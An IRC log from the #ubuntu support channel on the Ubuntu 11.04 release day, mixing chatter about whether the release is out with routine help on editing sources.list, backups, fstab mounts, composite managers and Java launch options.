[11:10] <MaRk-I> !ot
[11:10] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[11:10] <vibhav>  /msg ChanServ I am very sorry sir....I win't do it aga
[11:11] <tsimpson> MaRk-I: that's not true that bans expire after a month
[11:11] <guest345345> omg he really did
[11:11] <guest345345> priceless
[11:11] <MaRk-I> tsimpson: well tell him he's banned for talking about the release
[11:12] <guest345345> !guidelines
[11:12] <ubottu> The guidelines for using the Ubuntu channels can be found here: http://wiki.ubuntu.com/IRC/Guidelines
[11:12] <MaRk-I> vibhav: you were silenced for talking about the release the time is up to the OP in that channel
[11:12] <guest345345> !g test
[11:12] <ManDay> is it out yet? out yet? is it there already? mommy, how long does it still take?!ß
[11:13] <vibhav> <MaRk-I> Am i unbanned now?
[11:13] <MaRk-I> vibhav: no Idea, try
[11:14] <guest345345> vibhav: the OP can set a ban timeout however long he wants
[11:14] <guest345345> He should have warned you first
[11:14] <guest345345> unless a bot autobanned you for flooding or something
[11:14] <harvi> ManDay: iso can be found on http://releases.ubuntu.com/natty/ . but Im still waiting for official announcement.
[11:14] <MaRk-I> guest345345: if the topic is not warning enough....
[11:15] <ManDay> harvi: o_O
[11:15] <ManDay> did you drop the bomb?
[11:15] <guest345345> well...I would have thought common sence should be enough
[11:15] <Curly_Q> Has anyone worked with .htaccess and .htpasswd and which is best? I would like to password a directory.
[11:15] <guest345345> but.....
[11:15] <guest345345> sense*
[11:15] <ManDay> Curly_Q: best? anyway, #httpd is your friend
[11:16] <Curly_Q> Thanks.
[11:16] <Marco1> the ftp is requesting passwords
[11:16] <MaRk-I> topic says... Do not say it's released or post links to it until the Release Manager says so, or you may be banned without warning.
[11:16] <Marco1> I think we're a few minutes from official announcement
[11:16] <guest345345> Curly_Q: .htaccess and .htpasswd are entirely different things
[11:16] <guest345345> I suggest Nginx as a fix to that
[11:16] <guest345345> #nginx
[11:17] <robert05ad> 2mbps isnt bad http download
[11:17] <guest345345> as a fix to Apache's hideous inefficiency I mean
[11:17] <cfc_{Pawpad}> the link i saw erleier
[11:17] <robert05ad> weeMbps
[11:17] <Nefertiti> Anouncement or not iso I am downloading is a good one I hope :)
[11:17] <Curly_Q> Thanks Guest345345
[11:17] <cfc_{Pawpad}> is that the official release of server 11.04??
[11:17] <Naib> is it out yet
[11:17] <Naib> is it out yet
[11:17] <guest345345> Naib: YES!
[11:18] <Naib> is it out yet
[11:18] <tsimpson> Naib: no
[11:18] <Naib> is it out yet
[11:18] <robert05ad> I hate stupid people
[11:18] <botcity> !party
[11:18] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[11:18]  * guest345345 waves at Naib
[11:18] <nyoger> is there a edubuntu edition of natty ?
[11:19] <andreashard> So I reinstalled LAMP on the office ubuntu server due to a php issue, but now after using tasksel php5 is not working at all. I don't have libapache2-mod-php5, libapache2-mod-php5filter, php5-cfgi, php5-fpm. any ideas?
[11:19] <PeterMaffay> hi i have a question
[11:19] <syrinx_> !ask
[11:19] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[11:19] <PeterMaffay> how can i backuo my system
[11:19] <PeterMaffay> backup
[11:19] <PeterMaffay> i want to do an clean re install
[11:19] <botcity> !backup
[11:19] <ubottu> There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[11:21] <mbn_18> Hi, how do I know if selinux is enabled on Natty?
[11:21] <SilverCode> does anyone know if the 11.04 power regression will be fixed in a future update, or if it will be pushed out to 11.10?
[11:21] <guest345345> !apparmor
[11:21] <ubottu> For information about the AppArmor security framework employed in Ubuntu (since Gutsy Gibbon), see https://help.ubuntu.com/community/AppArmor
[11:21] <guest345345> @mbn_18
[11:21] <kaatta> have a nub question, reading instructions on google telling me to edit "etc/apt/sources.list"
[11:21] <kaatta> where is that directory?
[11:22] <smw> kaatta, /etc/apt/sources.list
[11:22] <robert05ad> I'm still a noob but i think it's "vm" to edit it
[11:22] <PeterMaffay> !sbackup
[11:22] <ubottu> sbackup is a tool to create complete and/or incremental backups (which can be scheduled to be automatic, and can be done over a network). It is available in !Universe
[11:22] <fcuk112> is natty out yet?
[11:22] <guest345345> kaatta: nubs shouldn't be editing that file
[11:22] <kaatta> yea, thats what i just asked... but telling me /ext/apt/sources.list means absolutely nothing to me
[11:22] <robert05ad> something like - vm /etc/apt/sources.list
[11:22] <smw> robert05ad, you mean vim?
[11:22] <guest345345> kaatta: What are you trying to do?
[11:22] <robert05ad> yeah vim sorry
[11:23] <smw> kaatta, that is the file location
[11:23] <kaatta> im trying to add debian source to my sources to get a LXDE compatible composite manager
[11:23] <Ymer-> kaatta, in the terminal type vi /etc/apt/sources.list
[11:23] <botcity> kaatta, whats the problem?
[11:23] <kaatta> ty ymer for answering something i could understand
[11:23] <smw> kaatta, sudo nano -w /etc/apt/sources.list
[11:23] <guest345345> Ymer-: didnt'y uo forget the "sudo"?
[11:23] <Ymer-> kaatta,  no problem
[11:23] <meisth0th> isn't 11.04 still out?
[11:23] <guest345345> and vim is installed by default...not everyone loves vim
[11:23] <Ymer-> ah yes, correct
[11:23] <guest345345> isnt*
[11:23] <smw> then ctrl O to save and ctrl x to exit
[11:24] <smw> kaatta, ^
[11:24] <smw> kaatta, nano is easier to use than vi
[11:24] <botcity> kaatta, if your new i would suggest gedit
[11:24] <kaatta> what do i need to do to edit that? i may be wrong but ymer, your instructions appear to just show me the contents of the file
[11:24] <Ymer-> kaatta, in the terminal type "sudo [vi/nano/vim/pico] /etc/apt/sources.list"
[11:24] <guest345345> gksudo gedit /etc/apt/sources.list
[11:24] <guest345345> that's probably the easiest way for a "nub"
[11:25] <Marco1> people! we need to flood twitter! If we get around 1 tweet per-second for about half an hour we'll be among the trending topics
[11:25] <harvi> kaatta, if you have gedit you can try "sudo gedit /etc/apt/sources.list"
[11:25] <guest345345> harvi: gksudo
[11:25] <harvi> guest345345: oh..damn. sry youre right gksudo
[11:26] <kaatta> harvi i type that and get "command not found"
[11:26] <guest345345> Ctrl+Alt+T for terminal
[11:26] <guest345345> gksudo gedit /etc/apt/sources.list
[11:27] <guest345345> be careful
[11:27] <harvi> kaatta, "gksudo gedit /etc/apt/sources.list" should work, sry my bad. you must run it in terminal. press CTRL+ALT+T and type that command there. gedit will open, you edit that file and save changes. than you can close terminal and gedit
[11:28] <kaatta> harvi, i appear to not have gedit, i am apt-get installing it
[11:28] <karlo> shouldn't ubuntu 11.04 be released today?
[11:28] <Mitchell-92> Hey... I have a question about ubuntu server... I have a dedicated server running ubuntu 10.10... I want to set up a cloud on it so all my computers can be kept in sync... how would I do so?
[11:28] <harvi> karlo: yes, but still nothing...
[11:28] <HF_acid> karlo: it has, they haven't updated the site but the torrents work
[11:28] <avdija> karlo, you are genius
[11:29] <fcuk112> karlo, http://releases.ubuntu.com/natty/
[11:29] <tsimpson> HF_acid, fcuk112, it is NOT out yet
[11:29] <botcity> i dont get that why does there have to be two "sudo, gksudo" surely there must be a way to have one that can comply with both?
[11:29] <karlo> avdija, I am not pretending I am smart, I just asked.. tnx on info all
[11:30] <PeterMaffay> how backup my system
[11:30] <HF_acid> tsimpson: ? how do you figure
[11:30] <tsimpson> HF_acid: because the release manager has not released it yet
[11:30] <raviepic3> people i am having 64 bit ubuntu 10.x version, how can i make sure that this os can run 32 bit applications ? i want to install eclipse and android sdk in my system to work
[11:30] <kaatta> harvi, the last hint got it, tyvm, exactly what i needed
[11:31] <PeterMaffay> how backup my system
[11:31] <PeterMaffay> i want the WEHOLE system backuppen
[11:31] <harvi> kaatta: np
[11:31] <fcuk112> tsimpson, the torrent is dated 28-apr 09:35?
[11:31] <PeterMaffay> how backup my system
[11:31] <guest345345> tsimpson: it IS available for download....even if it hasn't been announced
[11:31] <guest345345> and it IS the final image
[11:31] <botcity> !backup | PeterMaffay
[11:31] <ubottu> PeterMaffay: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[11:31] <tsimpson> no, it's not released yet
[11:31] <PeterMaffay> i read all
[11:31] <PeterMaffay> but i cant understand
[11:31] <tsimpson> whatever you have, it may not be not the final release
[11:32] <tsimpson> whatever the file name, date or whatever
[11:32] <PeterMaffay> how backup my system
[11:32] <jatt> why not
[11:32] <peto_> hi
[11:32] <m3t4lukas> #ubuntu-de
[11:32] <Ymer-> hi peto_
[11:32] <karlo> when I'll be able to upgrade to ubuntu 11.04 with update manager?
[11:32] <Man30> hey tsimpson I just downloaded the final version of natty, thanks for your help dude :)
[11:32] <peto_> hello Ymer-
[11:32] <guest345345> tsimpson: wrong wrong wrong
[11:32] <guest345345> it's released....end of story
[11:33] <m3t4lukas> PeterMaffay #ubuntu-de
[11:33] <tsimpson> think what you want
[11:33] <Man30> tsimpson: why do you hate ubuntu fans. you are doing this great OS a disservice
[11:33] <kaatta> tsimpson, dont feed trolls :D
[11:33]  * dArKd3ViL jumps
[11:33] <harvi> Hey guys do you know if unity 2D will be avaible in 11.04 ?
[11:33] <PeterMaffay> no it ISNT !!!!
[11:34] <PeterMaffay> at least 11.10 !!!!
[11:34] <PeterMaffay> how backup my system
[11:34] <ordinareez> so what if my PC can't run 3D Unity?
[11:34] <velcroshooz> without 3d support i have heard you just run ubuntu classic.
[11:34] <jatt> no there is unity-2d
[11:34] <karlo> velcroshooz, yep
[11:36] <Scarra3__> What channel is the release party at
[11:36] <Ymer-> kaatta, did u get it to work?
[11:36] <iceroot> how to send "ctrl + alt + f1" in vinagre?
[11:36] <herc_> where will the 11.04 appear when it's finished?
[11:36] <mick_laptop> hi, does anyone know why I can't autologin? I have it set to login w/o a password under my username, and under login preferences - there is a checkbox "automatically login as..." but my user isn't in the dropdown and it is grayed out. any ideas?
[11:37] <mick_laptop> herc_: ubuntu.com
[11:37] <herc_> mick_laptop: just wait
[11:37] <mick_laptop> herc_: what do you mean?
[11:37] <herc_> mick_laptop: it will sign you in after some time, probably 30 seconds
[11:37] <Genghiz> ok
[11:38] <hid3> Any news about the release process?
[11:38] <mick_laptop> herc_: how do i make it not wait? -- btw i'll try that in a bit (to just wait)
[11:39] <tsaknorris> http://linuxlock.blogspot.com/2011/04/this-we-can-fix-now.html <--- for all you developers out there xD
[11:39] <ashmew2> !ask
[11:39] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[11:39] <MaRk-I> iceroot: preferences > allow keyboard shortcuts?
[11:39] <BananaLemon> Is Ubuntu 11.04 out?
[11:39] <PeterMaffay> hid3: http://releases.ubuntu.com/11.04/
[11:39] <mick_laptop> ashmew2: playing w/ the bot or did you misunderstand something
[11:39] <ashmew2> join #ubuntu-release-party
[11:40] <iceroot> MaRk-I: i dont see that point in vinagre 0.5.1
[11:40] <ashmew2> mick_laptop: needed the !ask stuff to copy paste to another channel :)
[11:40] <quibbler> PeterMaffay-> a good way to cakup you whole system is with clonezilla here:  http://clonezilla.org/
[11:40] <phoque_uni> no! don't joins #ubuntu-release-party
[11:40] <phoque_uni> it's a massive time-sink
[11:40] <phoque_uni> :-D
[11:41] <MaRk-I> iceroot: 0.5.1?
[11:41] <quibbler> backup
[11:41] <MaRk-I> !info vinagre
[11:41] <ubottu> vinagre (source: vinagre): remote desktop client for the GNOME Desktop. In component main, is optional. Version 2.30.2-1ubuntu1 (maverick), package size 492 kB, installed size 1740 kB
[11:41] <^Phantom2^> I'm starting to get really pissed off here
[11:42] <^Phantom2^> I am trying to play minecraft, with the .jar provided by the website.  It keeps up and just closing out on me.
[11:42] <iceroot> MaRk-I: hardy provides 0.5.1
[11:42] <^Phantom2^> With NO warning.
[11:42] <MaRk-I> iceroot: ah nvm then
[11:42] <iceroot> MaRk-I: as it seems i need a backport
[11:42] <^Phantom2^> just BAM and it's no longer running
[11:42] <^Phantom2^> what could be causing this?
[11:43] <iceroot> MaRk-I: libc6 dependency :(
[11:43] <Guest45212> anyone know where I can get ubuntu support for eee pc 1101HA?
[11:43] <MaRk-I> iceroot: i see
[11:43] <^Phantom2^> wwwwwwwwwwwwwwwwwwawiohtqawoht
[11:44] <tsaknorris> ^Phantom2^: tell me exactly the commandline parameters how you launch it?
[11:44] <iceroot> MaRk-I: i will try other vncviewers, thank your for your help
[11:44] <MaRk-I> iceroot: have u tried..... teamviewer?
[11:44] <^Phantom2^> tsaknorris, that wwwwwww is from it just closing itself agaimn
[11:44] <tsaknorris> ^Phantom2^: and does minecraft run on openJDK? or do you need "real" java :D
[11:45] <frank> Ubuntu 11-04 is not officially released yet?
[11:45] <^Phantom2^> tsaknorris, the same way I've been doing it all week, right click and run with openjdk.
[11:45] <BananaLemon> Hello, How do I login as root?
[11:45] <^Phantom2^> It ran fine for 5 hours tonight
[11:45] <MaRk-I> !info remmina
[11:45] <ubottu> remmina (source: remmina): remote desktop client for GNOME desktop environment. In component universe, is optional. Version 0.8.0-1 (maverick), package size 216 kB, installed size 1044 kB
[11:45] <WaltherFI> BananaLemon: you don't want to
[11:45] <jrib> !root | BananaLemon
[11:45] <ubottu> BananaLemon: Do not try to guess the root password, that is impossible. Instead, realise the truth... there is no root password. Then you will see that it is 'sudo' that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[11:45] <tsaknorris> ^Phantom2^:  show me the commandline parameters
[11:45] <^Phantom2^> This started happening after I had to restart with the thing still running, because all the titlebars disappeared
[11:46] <^Phantom2^> tsaknorris, i don't start it from command line
[11:46] <kaatta> ymer im having a bit of an issue w/ the package im after apparently not exsisting
[11:46] <kaatta> kinda annoying
[11:46] <Ymer-> kaatta, what package?
[11:46] <Guest45212> at what time doth starteth the great avalance of 1104?
[11:46] <tsaknorris> ^Phantom2^: you should!!!! "java -Xmx1024M -Xms512M -cp Minecraft.jar net.minecraft.LauncherFrame" <--- make launcher of that
[11:46] <tsaknorris> ^Phantom2^: and USE SUN JAVA :D
[11:47] <tsaknorris> ^Phantom2^: dont use openJDK
[11:47] <^Phantom2^> tsaknorris, it's been running fine on open all week
[11:47] <^Phantom2^> why is it starting this crap NOW?
[11:47] <botcity> Guest45212, started
[11:47] <kaatta> ciaro-compmgr
[11:47] <^Phantom2^> did restarting without closing it out do something?
[11:47] <tsaknorris> ^Phantom2^: well do what i say and it will run all year ^^.
[11:47] <kaatta> i have been trying to get a composite manager for lubuntu for about a week
[11:47] <Marco1> ubuntu is already on the ftp site
[11:48] <BananaLemon> Hello, What time will be the release of Ubuntu 11.04 on update managers?
[11:48] <sl1ck> what's the official release time?
[11:48] <kaatta> im getting an error: W: GPG error: http://download.tuxfamily.org sid Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY CBF6E0B8483170E9
[11:48] <^Phantom2^> okay, hand on here
[11:48] <tomasz> http://releases.ubuntu.com/natty/ubuntu-11.04-desktop-i386.iso
[11:48] <jamey-uk> sl1ck: exactly what I was about to ask
[11:48] <tsaknorris> ^Phantom2^: first install SUN JAVA and then make launcher out of that commandline parameters
[11:48] <jrib> natty will be released when it's ready, same as every other release before it
[11:48] <tsimpson> tomasz: it's not released yet, don't post links
[11:48] <tomasz> it is
[11:48] <tomasz> it was add today on 9 a.m.
[11:49] <Ymer-> kaatta, seems like the package it available, you prolly have to find it and download it somewhere else... (not awesome at this, but doing my best to help :) )
[11:49] <Marco1> still waiting official release announcement
[11:49] <^Phantom2^> !sunjava
[11:49] <ubottu> To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[11:49] <kaatta> y does it have to be so bloody hard to get a composite manager on lxde?!?!?!?
[11:49] <botcity> BananaLemon, I assume it will be later today .
[11:49] <jrib> tomasz: it's not released until it's announced as officially released.  End of discussion please
[11:49] <tsimpson> tomasz: it's not, the official release will use "11.04" not "natty"
[11:49] <jason223> where to get ubuntu natty for netbook?
[11:49] <sl1ck> jamey-uk:  I already downloaded the .iso file. Just need to know when the mirrors will be ready too.
[11:49] <tomasz> http://releases.ubuntu.com/
[11:49] <WaltherFI> jason223: there is no netbook release anymore
[11:49] <tomasz> its not official ??
[11:49] <WaltherFI> jason223: netbook project has been depreceated
[11:49] <jamey-uk> sl1ck: okay, the ISO is from yesterday, is that the final release version then?
[11:50] <paranox> where to get ubuntu 11.04 for my mobile phone?
[11:50] <kaatta> omfg im about to scream... im so close to just giving up on this
[11:50] <paranox> canonical is clearly not very good at dates
[11:50] <tomasz> natty/                  28-Apr-2011 09:26    -   Ubuntu 11.04 (Natty Narwhal)
[11:50] <velcroshooz> kaatta, lxde uses openbox as a window manager. which doesnt have composite. most composite managers are their own window managers, and you only run one at a time.
[11:50] <sl1ck> Jamck: its from today. I think it is final. /leaked mirror/
[11:50] <curt> hey all! I'm needing to transfer files from a 9.04 installation (ext3) to 10.10 (ext4) but the systems is telling me that my 9.04 system does not support ext4 - what can I do to make this happen?
[11:50] <WaltherFI> paranox: the phone versions are not official. Search for some ports if you will
[11:50] <sl1ck> jamey-uk:  its from today. I think it is final. /leaked mirror/
[11:50] <BlouBlou> paranox: it will be released today at 18:00 GMT, as usually
[11:50] <liucf> i'm online?
[11:50] <^Phantom2^> !partner
[11:50] <ubottu> Canonical's partner repositories provide packages a location for software vendors to publish applications. The repo itself can be added by running this in a !terminal: « sudo add-apt-repository "deb http://archive.canonical.com/ $(lsb_release -sc) partner" »
[11:51] <liucf> some answer....
[11:51] <paranox> WaltherFI: really? there is a phone version? i was just being silly
[11:51] <tsimpson> 11.04 is NOT released yet, join #ubuntu-release-party to wait
[11:51] <liucf> am i online
[11:51] <kaatta> velcroshooz i am not a linux buff, but after installing a dock and conky, which i desperately want to be running on this machine... im told i need something called a 'composite manager' so that there are not large black boxes around the apts
[11:51] <tomasz> look here: http://releases.ubuntu.com/
[11:51] <WaltherFI> paranox: there are some phone ports for ubuntu, e.g. for HTC HD2
[11:51] <jason223> WaltherFI: you mean here http://www.ubuntu.com/netbook/get-ubuntu/download is the lastest netbook version?
[11:51] <WaltherFI> paranox: but they're not official
[11:51] <kyleh0000> hey all im trying to get support for ubuntu server can anyone point me to the right place?
[11:51] <liucf> someone please answer me
[11:51] <paranox> it should be released right now GMT+10!
[11:51] <WaltherFI> jason223: there will never be a netbook version of 11.04
[11:51] <sl1ck> several czech mirrors beg to differ ;)
[11:51] <BlouBlou> liucf: what's up?
[11:51] <WaltherFI> liucf: you're online
[11:52] <tomasz> why is bad site ?? http://releases.ubuntu.com/ ??
[11:52] <jrib> please discuss natty release in #ubuntu-release-party and let people looking for help with ubuntu get help with ubuntu here
[11:52] <BlouBlou> !download | tomasz
[11:52] <ubottu> tomasz: Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Mirrors - PLEASE use the !torrents to download !Maverick, and help keeping the servers' load low!
[11:52] <liucf> i just test
[11:52] <velcroshooz> kaatta, you are going to need something like compiz then, there are no standalone composite managers that are still supported afaik. using compiz means you switch from openbox (lxde's standard window manager) to it.
[11:52] <jrib> tomasz: it's not a bad site
[11:52] <stREaKer> when is 11.04 releasing ?
[11:52] <BlouBlou> stREaKer: today at 18:00 GMT as usually
[11:52] <tomasz> there is 11.04 so why is not good ??
[11:52] <stREaKer> ohk :P
[11:53] <jrib> stREaKer: when it's ready.  Join #ubuntu-releasy-party
[11:53] <jason223> WaltherFI: ubuntu will not support netbook anymore? what should I use in my eeepc?
[11:53] <kaatta> velcroshooz, i thought that there was something preventing compiz from working in lxde? or can you help me get it going?
[11:53] <tomasz> jrib,  there is a 11.04 relased so why is bad ?
[11:53] <jrib> tomasz: because that's not the final version until it's announced as such.
[11:53] <stREaKer> jrib: I can upgrade with all my setting right ?
[11:53] <jrib> stREaKer: yes
[11:53] <WaltherFI> jason223: the regular version
[11:53] <tomasz> jrib,  but it add today on 9 a.m. so its official ?
[11:53] <stREaKer> jrib: Do i need to add any source or something?
[11:53] <jrib> tomasz: no.
[11:53] <WaltherFI> jason223: the unity desktop is now default
[11:54] <velcroshooz> kaatta, i dont run lxde myself i cannot say. but standard ubuntu comes with compiz included.
[11:54] <jrib> stREaKer: once it's released, update-manager will ask you if you want to upgrade
[11:54] <WaltherFI> jason223: there is only desktop and server edition in the future
[11:54] <stREaKer> ohk thanks :)
[11:54] <tomasz> jrib,  what will be changed ? if it was add today ?
[11:54] <jrib> tomasz: maybe nothing, maybe something.
[11:54] <lo0m> has anyone succesfully migrated from virtualbox to HDD? using dd? ubuntu 10.10 btw
[11:54] <kaatta> velcroshooz, unfortunately ubuntu wont run on this machine, but lubuntu runs very very smoothly
[11:55] <tomasz> jrib,  ok i undestand, i download on pendrive and test, after download official and install
[11:55] <velcroshooz> kaatta, a composite manager is going to be more cpu and graphics intensive, so that may not be the best option for you then
[11:55] <babarabush> i dont get why mirrors grabbed it
[11:55] <jason223> WaltherFI: I see. You mean netbook can use desktop version because the unity is suitable for netbook?
[11:55] <Kage> 11.04 coming out today?
[11:55] <dreinull_> Kage: it is out already
[11:55] <WaltherFI> jason223: sure.
[11:55] <dreinull_> Kage: http://releases.ubuntu.com/11.04/
[11:56] <BananaLemon> Hello why is my download speed so slow? 3.5MB/Sec
[11:56] <babarabush> tsimpson: wtf, try read my line again
[11:56] <tomasz> people realy 11.04 is like netbook editon, and desktop is over with 10.10 ??
[11:56] <dreinull_> BananaLemon: poor thing. try BT
[11:56] <Kage> woah who!  Break out the hookers and blow!
[11:56] <Akavashi> BananaLemon: every is spamming the servers
[11:56] <Akavashi> *everyone
[11:56] <jrib> Kage, dreinull_: it's not out until it's announced as out, please stop saying otherwise
[11:56] <babarabush> tsimpson: i didnt say it was out ffs
[11:56] <kaatta> velcroshooz, i think i can handle it. gnome runs decently on this machine till i try to do too much at once, i think running compiz from lubuntu will work out fine
[11:56] <MaRk-I> topic says... Do not say it's released or post links to it until the Release Manager says so, or you may be banned without warning.
[11:56] <grobda24> hello. how can I mount an external hardrive CONSISTENTLY to the same folder ? ... after hibernation it mounts to a new folder with "_" postfix.
[11:56] <dreinull_> jrib: who cares. They will announce just this url
[11:56] <babarabush> tsimpson: just noticed that it had been pushed to the mirrors tsimpson
[11:57] <jrib> dreinull_: this is not up for discussion.  In any case, the contents of that url may change.
[11:57] <tsimpson> babarabush: join #ubuntu-ops if you want to discuss the ban
[11:57] <lo0m> grobda24: did you put a record to /etc/fstab ?
[11:57] <curt> What do I have to do to transfer files from an ext3 files system to an ext4 file system - my 9.04 installation tells me that it does not support ext4
[11:57] <HF_acid> main website has changed to reflect 11.04
[11:57] <babarabush> tsimpson: no need im not banned
[11:58] <grobda24> lo0m, yes ... "/dev/sdb1	/media/fifth-element	                  ext3	  user_xattr	  0"
[11:58] <jrib> curt: upgrade your ubuntu version, 9.04 isn't supported anymore
[11:58] <jrib> !9.04 | curt
[11:58] <ubottu> curt: Ubuntu 9.04 (Jaunty Jackalope) was the tenth release of Ubuntu. End Of Life: October 23, 2010. See !eol and !upgrade for more details.
[11:58] <narf_> Hi... hmm, trying to fix my settings for my xorg.conf, tell me... if I use modeline ... do I remove all other monitor info? Or just paste it above? The problem is my refresh rate is low and its killing my eyes.. Ubuntu doesnt pick up my refresh rate but I know this monitor can do 80hz ?
[11:58] <galumph> Where's my Natty?
[11:58] <stefan__1> 11.04 is offcial out :)
[11:58] <curt> YEah I've installed Meerket but need to move files to that install from 9.04
[11:58] <velcroshooz> kaatta, compiz is what gnome is running as a window manager by default when desktop effects are set to on, as i said i dont run lubuntu so i cant say how to add compiz to it.
[11:58] <BananaLemon> Is it possible to delete my "root" account and make myself the superuser?
[11:58] <lo0m> grobda24: try using UUID instead
[11:58] <phoque_uni> it's out!
[11:58] <galumph> stefan__1: where? The website still 10.10
[11:59] <galumph> still has*
[11:59] <lo0m> grobda24: in fstab of course
[11:59] <sama> download time
[11:59] <stefan__1> galumph: nope, just make a reload. Proxy?
[11:59] <phoque_uni> galumph, it says 11.04
[11:59] <chazwoza> anyone know what time 11.04 will be rdy?
[11:59] <dreinull_> http://www.ubuntu.com/download/ubuntu/download
[11:59] <HF_acid> galumph: ? no it's updated, perhaps your cache is off, shift f5
[11:59] <dreinull_> it is out. even officially
[11:59] <Guest3131> BananaLemon, no :)
[11:59] <jrib> BananaLemon: no, you need to have a root account.  But by default, you won't be able to login to the root account.  Your first user will be able to sudo (and anyone else in the admin group).  What exactly do you want to do?
[11:59] <grobda24> lo0m, ah, in fstab ? this is the unique harddrive ID ? Maybe there is a page on help.ubuntu.com ...
[11:59] <galumph> Whoa, when did that happen
[11:59] <dreinull_> i dont see why you guys are complaining?
[12:00] <galumph> A second ago it was 10.10
[12:00] <Marco1> released!
[12:00] <Guest3131> BananaLemon, but you can add yourself to admin group... to gain rights
[12:00] <stefan__1> Downloading and Testing^^
[12:00] <dreinull_> ubuntu.com is still not really up to date
[12:00] <narf_> Noone know how to modify xorg then?  please really need help getting my refresh rate working, this is killing my eyes
[12:00] <sysek> :O
[12:00] <curt> I'm trying to move a ton of mp3, ogg, flac, etc files to my new Meerkat install (ext4) but 9.03 (ext3) won't let me
[12:00] <dreinull_> and installed.
[12:00] <sysek> when windows 8 will be realese ?
[12:00] <jrib> curt: did you see what I told you?
[12:00] <lo0m> grobda24: yes, try google it.. i have UUID=#hash insted of /dev/sda2 ..works like a charm
[12:00] <herc_> already installed?
[12:01] <dreinull_> yes
[12:01] <Dazzled1> Does anyone know of a way to get information about the current system without being sudo?
[12:01] <dreinull_> restarting now
[12:01] <Akavashi> woah... is it just me... or is the Website now spastic? lol
[12:01] <galumph> Hurr, 9 kb/s
[12:01] <grobda24> lo0m, k, thanks, I'll try that
[12:01] <dreinull_> use bt
[12:01] <jaredquinn> Dazzled1: what info are you after?
[12:01] <freakynl> Hi, 11.04 is out on the website, any idea how long it will take before do-release-upgrade picks it up?
[12:01] <herc_> anyone making a torrent?
[12:01] <Dazzled1> HDD Serial, MOBO id
[12:01] <jatt> should work now
[12:01] <botcity>  /join #ubuntu-release-party
[12:01] <Dazzled1> jaredquinn: something to identify a machine with
[12:01] <chazwoza>  /join #ubuntu-release-party
[12:01] <jrib> Dazzled1: lshw  work?
[12:02] <phoque_uni> do I need the alternate image to upgrade my installation from CD?
[12:02] <herc_> join #ubuntu-release-party
[12:02] <ashmew2> bannde from there :P
[12:02] <dreinull_> herc_: there is a torrent out
[12:02] <jrib> phoque_uni: yes, I believe so
[12:02] <grobda24> narf_, xorg.conf is still very archaic for this kind of thing :( ... search on http://help.ubuntu.com ... with my setup I ended up having to go into windows to run a util to define the modelines. Although there is a way to do that in Linux but it did'nt work for me.
[12:02] <herc_> dreinull_: where?
[12:02] <curt> jrib: yes but I'm planning on wiping that drive for Natty, right now I just want to back up the files on the Meerkat install - I have never upgraded since Warty, always a clean install -
[12:03] <Barnabas> narf_, try to google your make of monitor + xorg
[12:03] <phoque_uni> herc_, http://www.ubuntu.com/download/ubuntu/alternative-download#bt
[12:03] <dreinull_> herc_: ftp://ftp.releases.ubuntu.com/releases/11.04/ubuntu-11.04-desktop-i386.iso.torrent
[12:03] <nabbies> whois _bugz_
[12:03] <herc_> ty
[12:03] <curt> jrib: are you saying there is no way to back up to ext4 file system
[12:03] <nabbies> !countdown
[12:03] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[12:03] <Dazzled1> jrib: thanks, it complained I should be sudo, but it showed the info :)
[12:03] <Barnabas> narf_, you will almost certainly find a config example
[12:03] <Fudge> hi guys, anyone know if macbook eyesight builtin cams when they dont work if it is coz of kernel, friend just updated to lucid 2.6.32-31
[12:03] <jrib> Dazzled1: yeah, sudo just gives you more info (though I'm not sure what exactly)
[12:04] <velcroshooz> Fudge, you need isight firmware for it to work
[12:04] <Fudge> velcroshooz  thanks
[12:04] <DaSMarK> Hello people.
[12:04] <DaSMarK> I have a question.
[12:04] <narf_> Barnabas, I have a Sahara monitor, lol.. Can't find it.. However I have the modeline info... but just not sure how to define it in xorg.conf if I remove all other monitor arguments it wont work, if I put it on the first line it still doesn't work... if I specify 1024X760_80 it defeaults back to 50hz refresh rate
[12:04] <jrib> curt: use a live cd, that's probably the easiest way for you.  You could even do it with your desktop install cd
[12:04] <DaSMarK> i want backuo my very new installed system
[12:04] <curt> jrib: are you talking about an upgrade?
[12:04] <narf_> Barnabas, just not sure how to decode the modeline to horizotal and vertical
[12:05] <jrib> curt: no
[12:05] <DaSMarK> is it possible with remastersys ?
[12:05] <Fudge> velcroshooz  eh says the firmware tools for eyesight are installed, is that right?
[12:05] <jrib> curt: you can access and copy your data when you boot from the desktop cd (it's a live cd so you run the OS right from the cd)
[12:05] <_bugz_> nabbies, interested?
[12:05] <DaSMarK> i want backuo my very new installed system
[12:05] <Barnabas> narf_, try this http://xtiming.sourceforge.net/cgi-bin/xtiming.pl
[12:05] <velcroshooz> Fudge, the install does not come with them by default, so someone would have had to explicilty install them for the firmware to be there
[12:06] <jrib> !backup | DaSMarK
